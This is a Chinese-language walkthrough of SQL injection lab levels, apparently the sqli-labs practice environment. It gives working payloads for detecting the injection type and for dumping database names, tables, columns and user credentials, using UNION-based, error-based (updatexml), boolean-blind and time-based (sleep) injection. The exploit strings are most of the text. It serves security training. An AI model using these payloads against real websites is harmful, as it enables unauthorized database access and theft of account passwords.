在题目开始前,先学会判断注入点数据类型
?id=1,页面正常
?id=1 and 1=1,页面回显正常
?id=1 and 1=2,页面回显正常
当输入1=2时,页面回显正常,输入了不符合逻辑的条件都显示正常,说明不是数值型注入。
?id=1,页面正常
?id=1 and 1=1,页面回显正常
?id=1 and 1=2,页面回显不正常
当输入1=2时,页面回显不正常,输入了不符合逻辑的条件显示异常,说明是数值型注入。
?id=1',页面回显不正常 (未闭合)
?id=1' and '1'='1,页面回显正常
?id=1' and '1'='2,页面回显不正常
未闭合时、逻辑不符时,出现异常,说明是单引号字符串型注入。(还有双引号、括号)
第一题
?id=1
?id=1 and 1=1
?id=1 and 1=2
页面不变
?id=1'
页面改变
id=1' and '1'='1,回显正常
id=1' and '1'='2,回显不正常
存在单引号字符串型注入漏洞
确认列数
?id=1' order by 1 --+
?id=1' order by 2 --+
?id=1' order by 3 --+
都是
?id=1' order by 4 --+
所以得到一共有三列
使用Union select 进行查询
?id=-1' union select 1,2,3 -- +
页面的2个显示位,分别表的2,3列
从图片可以看出回显是2、3列,那么可以把语句中的2、3换成别的查询语句来输出不同的信息。
爆破所有数据库名以及当前数据库名
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),database() -- +
当前数据库名为:security
爆破security数据库内的所有表名
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+
security数据库下所有表
爆破users表内的所有列名
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
得出id列、username列、password列
查询所有的用户名,密码(爆字段)
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
得到账户密码,打入成功。
第二题
判断
?id=1 and 1=2
为数值型注入
?id=1 order by 3 --+
为数值型,所以不用 ' 闭合
输入4时页面回显错误,所以为3列
爆库
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),database() --+
爆表
?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+
爆列
?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
爆字段
?id=-1 union select 1,group_concat(username),group_concat(password) from users --+
第三题
判断
?id=1') and ('1')=('2
经过多次判断他的闭合方式为 ')
后面过程和之前类似
?id=1') order by 3 --+
?id=-1') union select 1,(select group_concat(schema_name) from information_schema.schemata),database() --+
?id=-1') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+
?id=-1') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+
第四题
判断
?id=1" --+
?id=1") --+
?id=1") and ("1")=("2
闭合方式 ")
?id=1") order by 4 --+
.............
后面都一样
第五题
判断
?id=1' '1'='2
四步走
?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
?id=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,20)),1) --+
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)),1) --+
发现没爆完全,接着用substring函数爆
?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),30,32)),1) --+
后面改30这个数字就行。
第六题
第八题
判断闭合方式
?id=1' 发现是 ' 闭合
判断数据库长度
?id=1' and length(database()) --+
判断数据库名中字母
?id=1' and left(database(),1)='s' --+
四步走直接用Python脚本
代码在主页专门的《脚本》文章中
爆字段没爆完就改for i in range(1, 100):中100的值
第九题
判断闭合方式
?id=1
?id=-1
都是
当数据库没有一个数据的时候,应当会报错或是页面应该和查到一个数据的时候不同,我们的布尔盲注就是利用如此原理,但此时我们发现无论输入的id正确与否,页面都未发生改变,又无回显也没有报错信息,因此此时可以使用时间盲注
判断注入点
?id=1' and sleep(5) --+ 发现是 '
发现确实有延时,可以用时间盲注
脚本小子走起
代码在主页专门的《脚本》文章中